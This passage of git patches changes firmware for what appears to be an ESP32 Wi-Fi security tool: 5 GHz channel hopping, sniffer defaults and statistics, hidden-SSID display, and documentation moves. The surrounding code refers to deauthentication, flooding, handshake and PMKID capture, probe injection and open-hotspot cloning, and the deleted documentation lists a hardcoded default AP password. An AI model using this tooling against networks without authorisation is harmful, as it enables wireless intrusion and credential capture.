null-termination to prevent buffer overflows when handling SSIDs and passwords. diff --git a/docs/wifi/c5.md b/docs/wifi/c5.md deleted file mode 100644 index dda8511fd..000000000 --- a/docs/wifi/c5.md +++ /dev/null @@ -1,184 +0,0 @@ -# Wi-Fi Service Component Documentation - -This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. - -## Functionality Overview - -The service handles: -- **Initialization/Deinitialization:** Setup of NVS, Netif, Event Loops, and Wi-Fi drivers. -- **Access Point (AP):** Configurable SSID, password, max connections, and custom IP address. -- **Scanning:** Active scanning for nearby networks. -- **Station (STA):** Connecting to external Wi-Fi networks. -- **Hotspot Management:** Dynamic switching of AP configuration. -- **Promiscuous Mode:** Low-level packet sniffing and environment monitoring. -- **Channel Hopping:** Automated cycling through Wi-Fi channels for environment monitoring. -- **Configuration Persistence:** Loading and saving AP settings to/from `assets/config/wifi/wifi_ap.conf`. -- **Known Networks:** Automatically saves connected network credentials to `assets/storage/wifi/know_networks.json`. - -## API Functions - -### Initialization & Lifecycle - -#### `wifi_service_init` -```c -void wifi_service_init(void); -``` -Initializes the Wi-Fi stack in `APSTA` mode. -- Initializes NVS (performing erase if necessary). -- Sets up the default event loop and registers handlers. -- Loads AP configuration from storage (or uses defaults "Darth Maul"/"MyPassword123"). -- Configures the static IP (default: 192.168.4.1) and starts the DHCP server. - -#### `wifi_service_deinit` -```c -void wifi_service_deinit(void); -``` -Completely shuts down the Wi-Fi service. -- Stops the Wi-Fi driver. -- Unregisters event handlers. -- Deinitializes the driver. -- Frees synchronization primitives (mutexes) and clears static data. - -#### `wifi_service_start` / `wifi_service_stop` -```c -void wifi_service_start(void); -void wifi_service_stop(void); -``` -Simple wrappers to start or stop the Wi-Fi driver without full deinitialization. `wifi_service_stop` also clears stored scan results. - -### Scanning - -#### `wifi_service_scan` -```c -void wifi_service_scan(void); -``` -Performs an active Wi-Fi scan. -- Uses a mutex to ensure thread safety. -- Stores up to `WIFI_SCAN_LIST_SIZE` results internally. -- Provides visual feedback via LEDs (Green for AP connection, Red for failures, Blue for scan success). - -#### `wifi_service_get_ap_count` -```c -uint16_t wifi_service_get_ap_count(void); -``` -Returns the number of networks found in the last scan. - -#### `wifi_service_get_ap_record` -```c -wifi_ap_record_t* wifi_service_get_ap_record(uint16_t index); -``` -Retrieves a pointer to a specific scan result record. Returns `NULL` if the index is invalid. - -### Connection & Management - -#### `wifi_service_connect_to_ap` -```c -esp_err_t wifi_service_connect_to_ap(const char *ssid, const char *password); -``` -Connects the device (as a station) to an external Access Point. -- Configures authentication mode based on the presence of a password (WPA2_PSK or OPEN). -- Disconnects any existing connection before attempting a new one. -- **Persistence:** Automatically saves the SSID and password to `assets/storage/wifi/know_networks.json`. If the network already exists, the password is updated. - -#### `wifi_service_is_connected` -```c -bool wifi_service_is_connected(void); -``` -Returns `true` if the device is currently connected to an external Wi-Fi network and has an IP address. - -#### `wifi_service_is_active` -```c -bool wifi_service_is_active(void); -``` -Returns `true` if the Wi-Fi service is started (driver initialized and interface up). - -#### `wifi_service_get_connected_ssid` -```c -const char* wifi_service_get_connected_ssid(void); -``` -Returns the SSID of the currently connected network. Returns `NULL` if not connected. - -#### `wifi_service_change_to_hotspot` -```c -void wifi_service_change_to_hotspot(const char *new_ssid); -``` -Dynamically reconfigures the device's Access Point to an **Open** network with the specified SSID. -- Stops the Wi-Fi driver briefly to apply changes. -- Sets `authmode` to `WIFI_AUTH_OPEN`. -- Restarts Wi-Fi with the new configuration. - -### Promiscuous Mode - -#### `wifi_service_promiscuous_start` -```c -void wifi_service_promiscuous_start(wifi_promiscuous_cb_t cb, wifi_promiscuous_filter_t *filter); -``` -Enables promiscuous mode (sniffer) with a custom callback and filter. -- `cb`: Function to handle captured packets. -- `filter`: Filter mask (e.g., `WIFI_PROMIS_FILTER_MASK_MGMT`). - -#### `wifi_service_promiscuous_stop` -```c -void wifi_service_promiscuous_stop(void); -``` -Disables promiscuous mode and clears the callback. - -### Channel Hopping - -#### `wifi_service_start_channel_hopping` -```c -void wifi_service_start_channel_hopping(void); -``` -Starts a background task that cycles the Wi-Fi interface through channels 1 to 13. -- Useful for promiscuous mode applications (e.g., deauth detection). -- Task memory is allocated in PSRAM if available. - -#### `wifi_service_stop_channel_hopping` -```c -void wifi_service_stop_channel_hopping(void); -``` -Stops the channel hopping task and frees associated memory resources. - -### Configuration Storage - -#### `wifi_service_save_ap_config` -```c -esp_err_t wifi_service_save_ap_config(const char *ssid, const char *password, uint8_t max_conn, const char *ip_addr, bool enabled); -``` -Saves the AP configuration to a JSON file (`/assets/config/wifi/wifi_ap.conf`). -- Uses `cJSON` to serialize settings. -- Persists data using the storage API. -- **State Management:** If `enabled` is `true` and Wi-Fi is inactive, it calls `wifi_service_start()`. If `enabled` is `false` and Wi-Fi is active, it calls `wifi_service_stop()`. - -#### Individual Setters -Helper functions to update a single configuration parameter while preserving others. They automatically save the config and trigger state changes if `enabled` is toggled. - -```c -esp_err_t wifi_service_set_enabled(bool enabled); -esp_err_t wifi_service_set_ap_ssid(const char *ssid); -esp_err_t wifi_service_set_ap_password(const char *password); -esp_err_t wifi_service_set_ap_max_conn(uint8_t max_conn); -esp_err_t wifi_service_set_ap_ip(const char *ip_addr); -``` - -**Internal Loader:** `wifi_service_load_ap_config` is called during initialization to read these settings. If `enabled` is found to be `false` in the config, `wifi_service_init` will initialize the driver but **not** start the radio. - -## Internal Implementation Details - -### Event Handling -A static `wifi_event_handler` manages Wi-Fi and IP events: -- **WIFI_EVENT_AP_STACONNECTED:** Logs the MAC of the connected station and blinks Green. -- **WIFI_EVENT_AP_STADISCONNECTED:** Blinks Red. -- **IP_EVENT_AP_STAIPASSIGNED:** Logs IP assignment and blinks Green. - -### Thread Safety -A `wifi_mutex` (Semaphore) is used to protect the scanning process (`wifi_service_scan`), preventing concurrent scan requests which could lead to resource conflicts. - -### Channel Hopping Task -The channel hopping feature runs as a static FreeRTOS task. It uses `esp_wifi_set_channel` to switch channels every 250ms. To optimize internal RAM usage, both the task stack and the Task Control Block (TCB) are allocated in **PSRAM** using the `SPIRAM` capability. - -### Castings & Memory Management -- **cJSON:** Used extensively for parsing and generating configuration files. -- **PSRAM Allocation:** Critical tasks and large buffers are allocated in PSRAM to preserve internal memory. -- **Type Casting:** `event_data` is cast to specific event structures (e.g., `wifi_event_ap_staconnected_t*`) within handlers. -- **String Handling:** `strncpy` is used safely with explicit null-termination to prevent buffer overflows when handling SSIDs and passwords. diff --git a/firmware_c5/components/Drivers/buttons_gpio/README.md b/firmware_c5/components/Drivers/buttons_gpio/README.md index de80d07f6..d29c90eca 100644 --- a/firmware_c5/components/Drivers/buttons_gpio/README.md +++ b/firmware_c5/components/Drivers/buttons_gpio/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/buttons_gpio/c5.md](../../../../docs/buttons_gpio/c5.md) +- [docs/buttons_gpio/README.md#c5](../../../../docs/buttons_gpio/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Drivers/spi/README.md b/firmware_c5/components/Drivers/spi/README.md index cf89dadb6..f9530c282 100644 --- a/firmware_c5/components/Drivers/spi/README.md +++ b/firmware_c5/components/Drivers/spi/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/spi/c5.md](../../../../docs/spi/c5.md) +- [docs/spi/README.md#c5](../../../../docs/spi/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/host_link/README.md b/firmware_c5/components/Service/host_link/README.md index 377970c9c..a6b059c47 100644 --- a/firmware_c5/components/Service/host_link/README.md +++ b/firmware_c5/components/Service/host_link/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/host_link/c5.md](../../../../docs/host_link/c5.md) +- [docs/host_link/README.md#c5](../../../../docs/host_link/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/sd_card/README.md b/firmware_c5/components/Service/sd_card/README.md index 223e49e54..dc9a2dfe3 100644 --- a/firmware_c5/components/Service/sd_card/README.md +++ b/firmware_c5/components/Service/sd_card/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/sd_card/c5.md](../../../../docs/sd_card/c5.md) +- [docs/sd_card/README.md#c5](../../../../docs/sd_card/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/spi_bridge/README.md b/firmware_c5/components/Service/spi_bridge/README.md index 54e8dce79..1b069f38f 100644 --- a/firmware_c5/components/Service/spi_bridge/README.md +++ b/firmware_c5/components/Service/spi_bridge/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/spi_bridge/c5.md](../../../../docs/spi_bridge/c5.md) +- [docs/spi_bridge/README.md#c5](../../../../docs/spi_bridge/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/storage_api/README.md b/firmware_c5/components/Service/storage_api/README.md index c9659e4bc..8103f04d8 100644 --- a/firmware_c5/components/Service/storage_api/README.md +++ b/firmware_c5/components/Service/storage_api/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/storage_api/c5.md](../../../../docs/storage_api/c5.md) +- [docs/storage_api/README.md#c5](../../../../docs/storage_api/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/storage_assets/README.md b/firmware_c5/components/Service/storage_assets/README.md index c23311adb..475c15e70 100644 --- a/firmware_c5/components/Service/storage_assets/README.md +++ b/firmware_c5/components/Service/storage_assets/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/storage_assets/c5.md](../../../../docs/storage_assets/c5.md) +- [docs/storage_assets/README.md#c5](../../../../docs/storage_assets/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/storage_vfs/README.md b/firmware_c5/components/Service/storage_vfs/README.md index a91b0ae9e..13ba16522 100644 --- a/firmware_c5/components/Service/storage_vfs/README.md +++ b/firmware_c5/components/Service/storage_vfs/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/storage_vfs/c5.md](../../../../docs/storage_vfs/c5.md) +- [docs/storage_vfs/README.md#c5](../../../../docs/storage_vfs/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/wifi/README.md b/firmware_c5/components/Service/wifi/README.md index 6737ec8cf..4a9c18ce3 100644 --- a/firmware_c5/components/Service/wifi/README.md +++ b/firmware_c5/components/Service/wifi/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/wifi/c5.md](../../../../docs/wifi/c5.md) +- [docs/wifi/README.md#c5](../../../../docs/wifi/README.md#c5) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Drivers/buttons_gpio/README.md b/firmware_p4/components/Drivers/buttons_gpio/README.md index ca7ae9610..33785e4d8 100644 --- a/firmware_p4/components/Drivers/buttons_gpio/README.md +++ b/firmware_p4/components/Drivers/buttons_gpio/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/buttons_gpio/p4.md](../../../../docs/buttons_gpio/p4.md) +- [docs/buttons_gpio/README.md#p4](../../../../docs/buttons_gpio/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Drivers/spi/README.md b/firmware_p4/components/Drivers/spi/README.md index 37e6208a8..610d26cf9 100644 --- a/firmware_p4/components/Drivers/spi/README.md +++ b/firmware_p4/components/Drivers/spi/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/spi/p4.md](../../../../docs/spi/p4.md) +- [docs/spi/README.md#p4](../../../../docs/spi/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/host_link/README.md b/firmware_p4/components/Service/host_link/README.md index 45785b843..dfe15a7f6 100644 --- a/firmware_p4/components/Service/host_link/README.md +++ b/firmware_p4/components/Service/host_link/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/host_link/p4.md](../../../../docs/host_link/p4.md) +- [docs/host_link/README.md#p4](../../../../docs/host_link/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/sd_card/README.md b/firmware_p4/components/Service/sd_card/README.md index d75f7943a..a517fb5bc 100644 --- a/firmware_p4/components/Service/sd_card/README.md +++ b/firmware_p4/components/Service/sd_card/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/sd_card/p4.md](../../../../docs/sd_card/p4.md) +- [docs/sd_card/README.md#p4](../../../../docs/sd_card/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/spi_bridge/README.md b/firmware_p4/components/Service/spi_bridge/README.md index 8646ff9da..5fa107115 100644 --- a/firmware_p4/components/Service/spi_bridge/README.md +++ b/firmware_p4/components/Service/spi_bridge/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/spi_bridge/p4.md](../../../../docs/spi_bridge/p4.md) +- [docs/spi_bridge/README.md#p4](../../../../docs/spi_bridge/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/storage_api/README.md b/firmware_p4/components/Service/storage_api/README.md index 656ffb3f8..c4b6a6879 100644 --- a/firmware_p4/components/Service/storage_api/README.md +++ b/firmware_p4/components/Service/storage_api/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/storage_api/p4.md](../../../../docs/storage_api/p4.md) +- [docs/storage_api/README.md#p4](../../../../docs/storage_api/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/storage_assets/README.md b/firmware_p4/components/Service/storage_assets/README.md index 93100e2cd..5478239f7 100644 --- a/firmware_p4/components/Service/storage_assets/README.md +++ b/firmware_p4/components/Service/storage_assets/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/storage_assets/p4.md](../../../../docs/storage_assets/p4.md) +- [docs/storage_assets/README.md#p4](../../../../docs/storage_assets/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/storage_vfs/README.md b/firmware_p4/components/Service/storage_vfs/README.md index 718c12a02..cfc7ba1c7 100644 --- a/firmware_p4/components/Service/storage_vfs/README.md +++ b/firmware_p4/components/Service/storage_vfs/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/storage_vfs/p4.md](../../../../docs/storage_vfs/p4.md) +- [docs/storage_vfs/README.md#p4](../../../../docs/storage_vfs/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/wifi/README.md b/firmware_p4/components/Service/wifi/README.md index da6e1d2a0..0bfc6a909 100644 --- a/firmware_p4/components/Service/wifi/README.md +++ b/firmware_p4/components/Service/wifi/README.md @@ -2,6 +2,6 @@ Documentation for this component lives in the project docs hub (single source of truth): -- [docs/wifi/p4.md](../../../../docs/wifi/p4.md) +- [docs/wifi/README.md#p4](../../../../docs/wifi/README.md#p4) This file is only a pointer: edit the docs there to keep things from drifting. From 97925b6d089aab7f8eee2e72f60984e0924c94f7 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Wed, 10 Jun 2026 16:55:06 -0300 Subject: [PATCH 066/572] feat(wifi): scan and channel-hop 5GHz bands on the C5 --- .../components/Service/wifi/wifi_service.c | 23 +++++++++++++++---- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/firmware_c5/components/Service/wifi/wifi_service.c b/firmware_c5/components/Service/wifi/wifi_service.c index 38bc4b117..93e2dc025 100644 --- a/firmware_c5/components/Service/wifi/wifi_service.c +++ b/firmware_c5/components/Service/wifi/wifi_service.c @@ -154,6 +154,12 @@ void wifi_service_init(void) { if (is_enabled) { ESP_ERROR_CHECK(esp_wifi_start()); s_is_active = true; + // The C5 is dual-band: enable 2.4 GHz + 5 GHz so scans and the sniffer cover + // both bands. Soft-check - some builds/regions may not expose 5 GHz. + esp_err_t band_err = esp_wifi_set_band_mode(WIFI_BAND_MODE_AUTO); + if (band_err != ESP_OK) { + ESP_LOGW(TAG, "Could not enable dual-band (5 GHz): %s", esp_err_to_name(band_err)); + } ESP_LOGI(TAG, "Wi-Fi AP started with SSID: %s", target_ssid); } else { ESP_LOGI(TAG, "Wi-Fi AP initialized but disabled by config"); @@ -629,13 +635,20 @@ event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, void *ev } } +// 2.4 GHz (1-13) plus the common non-DFS 5 GHz channels (UNII-1 + UNII-3). DFS +// channels (52-144) need radar detection and aren't usable for passive hopping, +// so they're left out. esp_wifi_set_channel picks the band from the number. +static const uint8_t HOP_CHANNELS[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, + 12, 13, 36, 40, 44, 48, 149, 153, 157, 161, 165}; +#define HOP_CHANNEL_COUNT (sizeof(HOP_CHANNELS) / sizeof(HOP_CHANNELS[0])) + static void channel_hopper_task(void *pvParameters) { - uint8_t channel = 1; + size_t idx = 0; while (1) { - esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); - channel++; - if (channel > MAX_WIFI_CHANNEL) { - channel = 1; + esp_wifi_set_channel(HOP_CHANNELS[idx], WIFI_SECOND_CHAN_NONE); + idx++; + if (idx >= HOP_CHANNEL_COUNT) { + idx = 0; } vTaskDelay(pdMS_TO_TICKS(HOPPER_DELAY_MS)); } From 0c99548c05bc12205726109f6a5ddbce333a1313 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Wed, 10 Jun 2026 16:55:06 -0300 Subject: [PATCH 067/572] feat(wifi): show hidden networks as [rede oculta] instead of a blank row --- firmware_p4/components/Service/wifi/wifi_service.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/firmware_p4/components/Service/wifi/wifi_service.c b/firmware_p4/components/Service/wifi/wifi_service.c index d5515d7ad..278d20c95 100644 --- a/firmware_p4/components/Service/wifi/wifi_service.c +++ b/firmware_p4/components/Service/wifi/wifi_service.c @@ -80,6 +80,11 @@ wifi_ap_record_t *wifi_service_get_ap_record(uint16_t index) { &resp, (uint8_t *)&s_cached_record, spi_bridge_get_timeout(SPI_ID_SYSTEM_DATA)) == ESP_OK) { + // Hidden networks come back with an empty SSID: show a placeholder instead + // of a blank row. Single point, so every consumer (console + UI) gets it. + if (s_cached_record.ssid[0] == '\0') { + strcpy((char *)s_cached_record.ssid, "[rede oculta]"); + } return &s_cached_record; } return NULL; From 097fd3f8954b02a27cf46fffe5c174d920f26474 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Wed, 10 Jun 2026 16:55:06 -0300 Subject: [PATCH 068/572] fix(wifi-sniffer): default app sniffer start to RAW when args are omitted --- .../components/Service/spi_bridge/wifi_dispatcher.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c b/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c index ebe64119e..f0d30b981 100644 --- a/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c +++ b/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c @@ -45,7 +45,6 @@ static const char *TAG = "WIFI_DISPATCHER"; #define WIFI_IP_ADDR_MAX_LEN 15 #define WIFI_DEAUTHER_MIN_PAYLOAD 13 #define WIFI_FLOOD_MIN_PAYLOAD 7 -#define WIFI_SNIFFER_MIN_PAYLOAD 2 #define WIFI_ASSOC_MIN_PAYLOAD 8 #define WIFI_DEAUTH_FRAME_MIN 8 #define WIFI_TARGET_MIN_PAYLOAD 7 @@ -313,14 +312,19 @@ spi_status_t wifi_dispatcher_execute(spi_id_t id, } case SPI_ID_WIFI_APP_SNIFFER: { - if (len < WIFI_SNIFFER_MIN_PAYLOAD) - return SPI_STATUS_ERROR; + // The companion app's live view wants raw frames across every channel. If + // it omits the args, default to RAW + channel 0 (hopping) instead of + // rejecting, so an empty START still streams something useful. + // payload[0]: sniffer type, payload[1]: channel (0 = hop all). // payload[2] (optional): monitor_mode flag — when set, buffer recycles // on overflow and packet counter keeps growing (used by Packet Monitor). + wifi_sniffer_type_t type = + (len >= 1) ? (wifi_sniffer_type_t)payload[0] : WIFI_SNIFFER_TYPE_RAW; + uint8_t channel = (len >= 2) ? payload[1] : 0; bool monitor_mode = (len >= 3) && (payload[2] != 0); wifi_sniffer_set_monitor_mode(monitor_mode); spi_bridge_stream_enable(SPI_ID_WIFI_APP_SNIFFER, true); - if (!wifi_sniffer_start((wifi_sniffer_type_t)payload[0], payload[1])) { + if (!wifi_sniffer_start(type, channel)) { spi_bridge_stream_enable(SPI_ID_WIFI_APP_SNIFFER, false); return SPI_STATUS_ERROR; } From e8d85d0b68f43d1e88ff8f5b1fe81ec2e54ea253 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Thu, 11 Jun 2026 16:58:39 -0300 Subject: [PATCH 069/572] feat(wifi-sniffer): expose extended monitor stats over the stats poll --- .../Applications/wifi/include/wifi_sniffer.h | 9 ++ .../Applications/wifi/wifi_sniffer.c | 88 +++++++++++++++++-- .../Service/spi_bridge/include/spi_protocol.h | 26 ++++++ .../Service/spi_bridge/spi_bridge.c | 1 + .../Service/spi_bridge/include/spi_protocol.h | 26 ++++++ 5 files changed, 144 insertions(+), 6 deletions(-) diff --git a/firmware_c5/components/Applications/wifi/include/wifi_sniffer.h b/firmware_c5/components/Applications/wifi/include/wifi_sniffer.h index 5dc79e9c9..5ed431267 100644 --- a/firmware_c5/components/Applications/wifi/include/wifi_sniffer.h +++ b/firmware_c5/components/Applications/wifi/include/wifi_sniffer.h @@ -113,6 +113,15 @@ uint32_t wifi_sniffer_get_deauth_count(void); */ uint32_t wifi_sniffer_get_buffer_usage(void); +/** + * @brief Fill the extended monitor fields (per-type/per-band tallies, unique + * APs, last channel) of a sniffer stats payload. + * + * @param out Stats struct whose extended tail is populated. The base fields + * (packets/deauths/...) are left untouched. + */ +void wifi_sniffer_fill_ext_stats(spi_sniffer_stats_t *out); + /** * @brief Set the maximum snapshot length for captured packets. * diff --git a/firmware_c5/components/Applications/wifi/wifi_sniffer.c b/firmware_c5/components/Applications/wifi/wifi_sniffer.c index 1642522d8..ac1549fdc 100644 --- a/firmware_c5/components/Applications/wifi/wifi_sniffer.c +++ b/firmware_c5/components/Applications/wifi/wifi_sniffer.c @@ -47,7 +47,7 @@ static const char *TAG = "WIFI_SNIFFER"; #define SNIFFER_TASK_STACK_SIZE 4096 #define SNIFFER_TASK_PRIORITY 5 #define MAX_TRACKED_SESSIONS 16 -#define MAX_KNOWN_APS 32 +#define MAX_KNOWN_APS 128 #define DEFAULT_SNAPLEN 65535 #define BSSID_LEN 6 #define MAC_LEN 6 @@ -63,6 +63,8 @@ static const char *TAG = "WIFI_SNIFFER"; #define MGMT_FRAME_TYPE 0 #define DATA_FRAME_TYPE 2 #define CTRL_FRAME_TYPE 1 +// Channels 1-14 are 2.4 GHz; anything above is a 5 GHz channel. +#define FIRST_5GHZ_CHANNEL 15 #define EAPOL_DESCRIPTOR_TYPE 3 #define EAPOL_KEY_DESC_OFFSET 4 #define EAPOL_KEY_DATA_LEN_OFFSET 93 @@ -90,6 +92,21 @@ static uint32_t s_buffer_offset = 0; static uint32_t s_packet_count = 0; static uint32_t s_session_id = SPI_SESSION_INVALID_ID; static uint32_t s_deauth_count = 0; + +// Per-type / per-band tallies, surfaced to the companion app via the stats poll. +// Counted for every frame seen (like s_deauth_count), independent of the save +// filter, so they reflect what is actually on the air. +static uint32_t s_beacon_count = 0; +static uint32_t s_probe_req_count = 0; +static uint32_t s_probe_resp_count = 0; +static uint32_t s_data_count = 0; +static uint32_t s_ctrl_count = 0; +static uint32_t s_mgmt_count = 0; +static uint32_t s_pkts_2ghz = 0; +static uint32_t s_pkts_5ghz = 0; +static uint32_t s_unique_aps = 0; +static uint8_t s_last_channel = 0; +static int8_t s_last_rssi = -127; // RSSI of the last captured frame (-127 = none yet) static bool s_is_monitor_mode = false; // packet monitor: counts forever, buffer recycles static bool s_is_sniffing = false; static bool s_is_pcap_enabled = false; @@ -121,6 +138,20 @@ static void sniffer_callback(void *buf, wifi_promiscuous_pkt_type_t type); static void stream_task(void *arg); static bool save_to_file(const char *path, bool use_sd); +static void reset_monitor_counters(void) { + s_beacon_count = 0; + s_probe_req_count = 0; + s_probe_resp_count = 0; + s_data_count = 0; + s_ctrl_count = 0; + s_mgmt_count = 0; + s_pkts_2ghz = 0; + s_pkts_5ghz = 0; + s_unique_aps = 0; + s_last_channel = 0; + s_last_rssi = -127; +} + void wifi_sniffer_set_snaplen(uint16_t len) { s_snaplen = len; } @@ -157,6 +188,7 @@ bool wifi_sniffer_start(wifi_sniffer_type_t type, uint8_t channel) { s_is_pmkid_captured = false; s_is_handshake_captured = false; s_current_type = type; + reset_monitor_counters(); memset(s_sessions, 0, sizeof(s_sessions)); memset(s_known_aps, 0, sizeof(s_known_aps)); @@ -218,6 +250,7 @@ bool wifi_sniffer_start_stream_sd(wifi_sniffer_type_t type, uint8_t channel, con s_rb_read_offset = 0; s_packet_count = 0; s_current_type = type; + reset_monitor_counters(); memset(s_sessions, 0, sizeof(s_sessions)); memset(s_known_aps, 0, sizeof(s_known_aps)); @@ -351,6 +384,22 @@ uint32_t wifi_sniffer_get_buffer_usage(void) { return s_buffer_offset; } +void wifi_sniffer_fill_ext_stats(spi_sniffer_stats_t *out) { + if (out == NULL) + return; + out->beacons = s_beacon_count; + out->probe_reqs = s_probe_req_count; + out->probe_resps = s_probe_resp_count; + out->data_frames = s_data_count; + out->ctrl_frames = s_ctrl_count; + out->mgmt_frames = s_mgmt_count; + out->pkts_2ghz = s_pkts_2ghz; + out->pkts_5ghz = s_pkts_5ghz; + out->unique_aps = s_unique_aps; + out->channel = s_last_channel; + out->last_rssi = s_last_rssi; +} + bool wifi_sniffer_pmkid_captured(void) { return s_is_pmkid_captured; } @@ -438,15 +487,21 @@ static void inject_unicast_probe_req(const uint8_t *target_bssid) { } static void register_known_ap(const uint8_t *bssid) { + static const uint8_t empty_bssid[BSSID_LEN] = {0}; + int free_idx = -1; for (int i = 0; i < MAX_KNOWN_APS; i++) { if (memcmp(s_known_aps[i].bssid, bssid, BSSID_LEN) == 0) { s_known_aps[i].has_ssid = true; - return; + return; // already seen: a repeat AP stays, it is not counted again } - } - int idx = s_packet_count % MAX_KNOWN_APS; - memcpy(s_known_aps[idx].bssid, bssid, BSSID_LEN); - s_known_aps[idx].has_ssid = true; + if (free_idx < 0 && memcmp(s_known_aps[i].bssid, empty_bssid, BSSID_LEN) == 0) + free_idx = i; + } + if (free_idx < 0) + return; // table full: stop counting instead of evicting and recounting + memcpy(s_known_aps[free_idx].bssid, bssid, BSSID_LEN); + s_known_aps[free_idx].has_ssid = true; + s_unique_aps++; } static bool is_ap_ssid_known(const uint8_t *bssid) { @@ -651,6 +706,27 @@ static void sniffer_callback(void *buf, wifi_promiscuous_pkt_type_t type) { ESP_LOGW(TAG, "Deauth detected!"); } + if (fc->type == MGMT_FRAME_TYPE) { + s_mgmt_count++; + if (fc->subtype == BEACON_SUBTYPE) + s_beacon_count++; + else if (fc->subtype == PROBE_REQ_SUBTYPE) + s_probe_req_count++; + else if (fc->subtype == PROBE_RESP_SUBTYPE) + s_probe_resp_count++; + } else if (fc->type == DATA_FRAME_TYPE) { + s_data_count++; + } else if (fc->type == CTRL_FRAME_TYPE) { + s_ctrl_count++; + } + + s_last_channel = ppkt->rx_ctrl.channel; + s_last_rssi = ppkt->rx_ctrl.rssi; + if (ppkt->rx_ctrl.channel >= FIRST_5GHZ_CHANNEL) + s_pkts_5ghz++; + else + s_pkts_2ghz++; + if (s_is_verbose) { if (fc->type == MGMT_FRAME_TYPE && fc->subtype == BEACON_SUBTYPE) printf("B"); diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h index 0e2eec62a..7a074ea83 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h @@ -373,10 +373,36 @@ typedef struct { int8_t signal_rssi; bool handshake_captured; bool pmkid_captured; + // Extended monitor stats (appended; older readers can ignore the tail). + uint32_t beacons; // mgmt beacon frames + uint32_t probe_reqs; // mgmt probe requests + uint32_t probe_resps; // mgmt probe responses + uint32_t data_frames; // data frames + uint32_t ctrl_frames; // control frames + uint32_t mgmt_frames; // all management frames + uint32_t pkts_2ghz; // frames captured on 2.4 GHz + uint32_t pkts_5ghz; // frames captured on 5 GHz + uint32_t unique_aps; // distinct BSSIDs seen (approximate) + uint8_t channel; // channel of the last captured frame + int8_t last_rssi; // RSSI of the last captured frame (sniffer, not signal monitor) } __attribute__((packed)) spi_sniffer_stats_t; #define SPI_WIFI_SNIFFER_MAX_DATA (SPI_MAX_PAYLOAD - 4) +/** + * @brief Compact WiFi scan result, served by SPI_ID_WIFI_APP_SCAN_AP through the + * generic data pipe. Fixed-size and explicit (unlike the raw wifi_ap_record_t) + * so the companion app parses it without depending on the IDF struct layout. + * ssid is sanitized printable ASCII, null-terminated, empty for hidden networks. + */ +typedef struct { + uint8_t bssid[6]; // 